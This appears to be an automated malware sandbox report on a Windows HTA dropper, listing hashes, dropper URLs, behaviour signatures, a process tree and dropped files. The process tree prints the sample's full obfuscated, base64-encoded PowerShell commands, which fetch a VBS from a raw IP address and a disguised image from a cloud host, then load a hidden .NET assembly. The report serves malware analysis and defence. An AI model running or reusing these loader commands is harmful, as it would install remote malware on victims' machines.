Analysis

  • max time kernel
    121s
  • max time network
    122s
  • platform
    windows7_x64
  • resource
    win7-20240708-en
  • resource tags

    arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
  • submitted
    10-12-2024 06:27

General

  • Target

    matchingwithbestthingstobegreatforentirelifegivenmebestthignsevergive.hta

  • Size

    193KB

  • MD5

    012b83177846ce35f8ae1f6b304ff9c6

  • SHA1

    ae49e4e85d2fe80a83d0aa6420c72246e8b5e17e

  • SHA256

    264fc1a50a0f37a599e8cb50572d99a78c493da4837930a480253e04a5963fa9

  • SHA512

    d48bdf9a62e410254cf3074d7215f922e98d6d1ee0c936fff9c3720a000bdc571758e19a5338b7ad76f70b851aac641a7eaba09b92782d5e57e4921e368d2978

  • SSDEEP

    96:4owZw9d6yfaqcQ6PHO/3g9a8GPcQ6PHQ0/3g9a8GBGl/Qcj/WqgO7fpR1MK95tio:4LwzQcHgODpqPvQ

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://res.cloudinary.com/dytflt61n/image/upload/v1733134947/bklpyseyeut4impw50n1.jpg%20

exe.dropper

https://res.cloudinary.com/dytflt61n/image/upload/v1733134947/bklpyseyeut4impw50n1.jpg%20

Signatures

  • Blocklisted process makes network request 3 IoCs
  • Evasion via Device Credential Deployment 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • System Time Discovery 1 TTPs 1 IoCs

    Adversary may gather the system time and/or time zone settings from a local or remote system.

  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 24 IoCs

Processes

  • C:\Windows\SysWOW64\mshta.exe
    C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\matchingwithbestthingstobegreatforentirelifegivenmebestthignsevergive.hta"
    1⤵
    • System Location Discovery: System Language Discovery
    • Modifies Internet Explorer settings
    • Suspicious use of WriteProcessMemory
    PID:2296
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" "/c poWerSHell.eXE -Ex bypasS -NOP -w 1 -c DevIcECreDenTiALDepLOyment ; inVoKE-eXPRESsion($(INvOkE-expReSSIOn('[SYsTEM.TeXt.EncoDINg]'+[CHaR]0x3a+[cHar]58+'utf8.geTStRINg([SYsTEm.CONverT]'+[chAr]58+[cHaR]58+'FRoMBASE64strinG('+[char]0X22+'JGNGT0hOanFQbCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFkZC1UeXBlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1tZU1CZVJkZUZJTmlUaU9uICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1cmxNT24uZExMIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBsZWFGUUh5ZyxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgVHh0LHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBsTU0sdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlTW52bEhRb3AsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGtmYmV1bVIpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5BbUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgImdOdyIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5hbWVzcEFDRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBMVXRKQlYgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkY0ZPSE5qcVBsOjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTcyLjI0NS4xNDIuNjAvNDY2L2tpZHNuaWNlZm9ybWV0b2dldGJhY2tncmVhdHRoaW5nc3dpdGhuZXRpZXJ0aW1lZ2l2ZW5tZWJlc3Rmb3JtZS50SUYiLCIkRU52OkFQUERBVEFca2lkc25pY2Vmb3JtZXRvZ2V0YmFja2dyZWF0dGhpbmdzd2l0aG5ldGllcnRpbWVnaXZlbm1lYmVzLnZiUyIsMCwwKTtTdEFSdC1zTGVFcCgzKTtJblZvS0UtRXhQUkVTc2lvTiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJGVOVjpBUFBEQVRBXGtpZHNuaWNlZm9ybWV0b2dldGJhY2tncmVhdHRoaW5nc3dpdGhuZXRpZXJ0aW1lZ2l2ZW5tZWJlcy52YlMi'+[CHaR]0X22+'))')))"
      2⤵
      • Evasion via Device Credential Deployment
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:1724
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        poWerSHell.eXE -Ex bypasS -NOP -w 1 -c DevIcECreDenTiALDepLOyment ; inVoKE-eXPRESsion($(INvOkE-expReSSIOn('[SYsTEM.TeXt.EncoDINg]'+[CHaR]0x3a+[cHar]58+'utf8.geTStRINg([SYsTEm.CONverT]'+[chAr]58+[cHaR]58+'FRoMBASE64strinG('+[char]0X22+'JGNGT0hOanFQbCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFkZC1UeXBlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1tZU1CZVJkZUZJTmlUaU9uICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1cmxNT24uZExMIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBsZWFGUUh5ZyxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgVHh0LHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBsTU0sdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlTW52bEhRb3AsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGtmYmV1bVIpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5BbUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgImdOdyIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5hbWVzcEFDRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBMVXRKQlYgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkY0ZPSE5qcVBsOjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTcyLjI0NS4xNDIuNjAvNDY2L2tpZHNuaWNlZm9ybWV0b2dldGJhY2tncmVhdHRoaW5nc3dpdGhuZXRpZXJ0aW1lZ2l2ZW5tZWJlc3Rmb3JtZS50SUYiLCIkRU52OkFQUERBVEFca2lkc25pY2Vmb3JtZXRvZ2V0YmFja2dyZWF0dGhpbmdzd2l0aG5ldGllcnRpbWVnaXZlbm1lYmVzLnZiUyIsMCwwKTtTdEFSdC1zTGVFcCgzKTtJblZvS0UtRXhQUkVTc2lvTiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJGVOVjpBUFBEQVRBXGtpZHNuaWNlZm9ybWV0b2dldGJhY2tncmVhdHRoaW5nc3dpdGhuZXRpZXJ0aW1lZ2l2ZW5tZWJlcy52YlMi'+[CHaR]0X22+'))')))"
        3⤵
        • Blocklisted process makes network request
        • Evasion via Device Credential Deployment
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2284
        • C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
          "C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\5t8z1ogd.cmdline"
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:2068
          • C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
            C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES893D.tmp" "c:\Users\Admin\AppData\Local\Temp\CSC893C.tmp"
            5⤵
            • System Location Discovery: System Language Discovery
            PID:2208
        • C:\Windows\SysWOW64\WScript.exe
          "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\kidsniceformetogetbackgreatthingswithnetiertimegivenmebes.vbS"
          4⤵
          • System Location Discovery: System Language Discovery
          • System Time Discovery
          • Suspicious use of WriteProcessMemory
          PID:2412
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $portioned = 'JHByZW9idGFpbnMgPSAnaHR0cHM6Ly9yZXMuY2xvdWRpbmFyeS5jb20vZHl0Zmx0NjFuL2ltYWdlL3VwbG9hZC92MTczMzEzNDk0Ny9ia2xweXNleWV1dDRpbXB3NTBuMS5qcGcgJzskbGFsbHlnYWdnaW5nID0gTmV3LU9iamVjdCBTeXN0ZW0uTmV0LldlYkNsaWVudDskdGF1bnRpbmdseSA9ICRsYWxseWdhZ2dpbmcuRG93bmxvYWREYXRhKCRwcmVvYnRhaW5zKTskbm9udmlyZ2lucyA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKCR0YXVudGluZ2x5KTskbmV3c21lbiA9ICc8PEJBU0U2NF9TVEFSVD4+Jzskc3Bpcml0dWFsaXN0aWMgPSAnPDxCQVNFNjRfRU5EPj4nOyRhc2Fmb2V0aWRhcyA9ICRub252aXJnaW5zLkluZGV4T2YoJG5ld3NtZW4pOyRzbm9vemUgPSAkbm9udmlyZ2lucy5JbmRleE9mKCRzcGlyaXR1YWxpc3RpYyk7JGFzYWZvZXRpZGFzIC1nZSAwIC1hbmQgJHNub296ZSAtZ3QgJGFzYWZvZXRpZGFzOyRhc2Fmb2V0aWRhcyArPSAkbmV3c21lbi5MZW5ndGg7JG95ZXMgPSAkc25vb3plIC0gJGFzYWZvZXRpZGFzOyRzdGlsbGluZyA9ICRub252aXJnaW5zLlN1YnN0cmluZygkYXNhZm9ldGlkYXMsICRveWVzKTskaG9sbG93bmVzc2VzID0gLWpvaW4gKCRzdGlsbGluZy5Ub0NoYXJBcnJheSgpIHwgRm9yRWFjaC1PYmplY3QgeyAkXyB9KVstMS4uLSgkc3RpbGxpbmcuTGVuZ3RoKV07JGNvbGVzbGF3cyA9IFtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJGhvbGxvd25lc3Nlcyk7JG1hbmFnZW1lbnRzID0gW1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5XTo6TG9hZCgkY29sZXNsYXdzKTskamV3ZmlzaCA9IFtkbmxpYi5JTy5Ib21lXS5HZXRNZXRob2QoJ1ZBSScpOyRqZXdmaXNoLkludm9rZSgkbnVsbCwgQCgnMC9uQ3gzMC9yL2VlLmV0c2FwLy86c3B0dGgnLCAnJGZvcmViZWFyJywgJyRmb3JlYmVhcicsICckZm9yZWJlYXInLCAnQ2FzUG9sJywgJyRmb3JlYmVhcicsICckZm9yZWJlYXInLCckZm9yZWJlYXInLCckZm9yZWJlYXInLCckZm9yZWJlYXInLCckZm9yZWJlYXInLCckZm9yZWJlYXInLCcxJywnJGZvcmViZWFyJykpOw==';$reprovals = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($portioned));Invoke-Expression $reprovals
            5⤵
            • Blocklisted process makes network request
            • Command and Scripting Interpreter: PowerShell
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:2532

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\5t8z1ogd.dll

    Filesize

    3KB

    MD5

    14d487c97243f0a4182123986f46543e

    SHA1

    d72216ef5be32dfb032cdc8a9ad695c30082ac99

    SHA256

    75ee6bd1d6adb1b251a399d8c16aa18e8e96ec82dad5555fc7ec0d47b32f9e8c

    SHA512

    abe757aea00ede0ba5141bb421d271c811c71e430cd7ee103238652e27c2a6319984808ee745ffb5c19b904ff97fd113c72210c4363a48c1346cf42836ed638e

  • C:\Users\Admin\AppData\Local\Temp\5t8z1ogd.pdb

    Filesize

    7KB

    MD5

    b6fcb5d40e62a6e964fc13211f59d2da

    SHA1

    f251dcd506ae7ea0011586de211297f173caec81

    SHA256

    42dc8d1f756da90f4a1d26fab683a51432cbbacb13d41c615d5781fe5544f6ee

    SHA512

    8ad8ef251feedf6422d9cf978db00828a98e38a26e40fffdc5b19240c275a5c4199f4632b807019bead0729226271c81ac40d80f492dffee3aec9632743fd57d

  • C:\Users\Admin\AppData\Local\Temp\CabA871.tmp

    Filesize

    70KB

    MD5

    49aebf8cbd62d92ac215b2923fb1b9f5

    SHA1

    1723be06719828dda65ad804298d0431f6aff976

    SHA256

    b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f

    SHA512

    bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

  • C:\Users\Admin\AppData\Local\Temp\RES893D.tmp

    Filesize

    1KB

    MD5

    915793a57f6a0502a7cee9a561ae5fe3

    SHA1

    4d401994f3221756a28fb95d8bbb3d8bd9297e25

    SHA256

    92cb1ad99737586f5c5415c19ef620f8c66786e8f1cc991103a77f268261653f

    SHA512

    d0884e3af6e679ef90bfb275018e4c948d605ac950133ac73d26d5b7d312b0ad45d28b6e16d6e35aaa07483bffff22360637f981ee2fd688e8c541719fd4ed68

  • C:\Users\Admin\AppData\Local\Temp\TarA894.tmp

    Filesize

    181KB

    MD5

    4ea6026cf93ec6338144661bf1202cd1

    SHA1

    a1dec9044f750ad887935a01430bf49322fbdcb7

    SHA256

    8efbc21559ef8b1bcf526800d8070baad42474ce7198e26fa771dbb41a76b1d8

    SHA512

    6c7e0980e39aacf4c3689802353f464a08cd17753bd210ee997e5f2a455deb4f287a9ef74d84579dbde49bc96213cd2b8b247723919c412ea980aa6e6bfe218b

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

    Filesize

    7KB

    MD5

    c658f9fb70b79bbcbe5ddb42994b9257

    SHA1

    91d0b4466763ec9598214c01c70c80cfe94b2aae

    SHA256

    d6c27fd485be6a0c563444c1781124a14cfbff13a7a48ea04da89201777fb8a7

    SHA512

    c5ff496a20e783eef04dbaf41de13d125c7003381df8679e78779affc0c39f07b9b598ac31516374afa151d3779900659322b60e4696ae3f62f5db70fe76c826

  • C:\Users\Admin\AppData\Roaming\kidsniceformetogetbackgreatthingswithnetiertimegivenmebes.vbS

    Filesize

    150KB

    MD5

    5ce00a79a9f41d260446bfdcc6267adf

    SHA1

    0b2b90beb56c59916b98004b1444698538729822

    SHA256

    efab5d21ed82f610bc5f1734b909a7e5c3a6c2ecebb276dd03b4d5baf8e9b058

    SHA512

    d4de7fe61f23ce7524ed3123319ac93f33ae1806bd426045ca9df1fa9ee82cca58aa314711bbde6a6ffa2eee98dc20cc5e4d80d2ec7abb028be0639944714fee

  • \??\c:\Users\Admin\AppData\Local\Temp\5t8z1ogd.0.cs

    Filesize

    482B

    MD5

    8c16810a9a149ee7b288951c6afdfcd1

    SHA1

    4322374e8321e8a97ab6af0b6a23bb3f016c9713

    SHA256

    95c610a9e86321d9dea63594d0d9c9cb72c5dc56edf8f78f25736a76cac0d949

    SHA512

    0e37863619591fdd2cde0ae8ead71ef856695e299e9bb76266f1b40588d3f7e26521f7cb0bedcfa2a0809224dc02b076d4a07a1d247b23adb30e79ca5f626564

  • \??\c:\Users\Admin\AppData\Local\Temp\5t8z1ogd.cmdline

    Filesize

    309B

    MD5

    cd75bad97fe3c169c5f24a65defb0f69

    SHA1

    b2c44411f7e2a829e3373d0d30215d9e3fbe8b43

    SHA256

    5ce3f4d4d94f4e31cfb620757d900dfee55240313029f3fc8d85ceaf254d7705

    SHA512

    9622e1b3cf7b1d1e88030ffe2fbfa2136d7f61eb8be14918f5b4e6bfb6c8dfdec0e3ef8316f1233e13e8d220c89babaf62205804f5eedf99a45a1dd0501675fa

  • \??\c:\Users\Admin\AppData\Local\Temp\CSC893C.tmp

    Filesize

    652B

    MD5

    3aa9c4685dc95c0f6ad2fb91ea8c61d7

    SHA1

    afc115a5f5ad66119c54acdf92089bdd85122c1d

    SHA256

    d44b560b1115062bcd9bca5d3b8366a429e4f24654efe2f700884db3d21440a6

    SHA512

    1dd3b83dff1d537f8bf14548a6d9e6cc05f2e061154279f8fb4c4c364d470c2c65295913a99c2b70df7aa40ada3ce71c4f097f4cd5e24e8586d1899a3b728086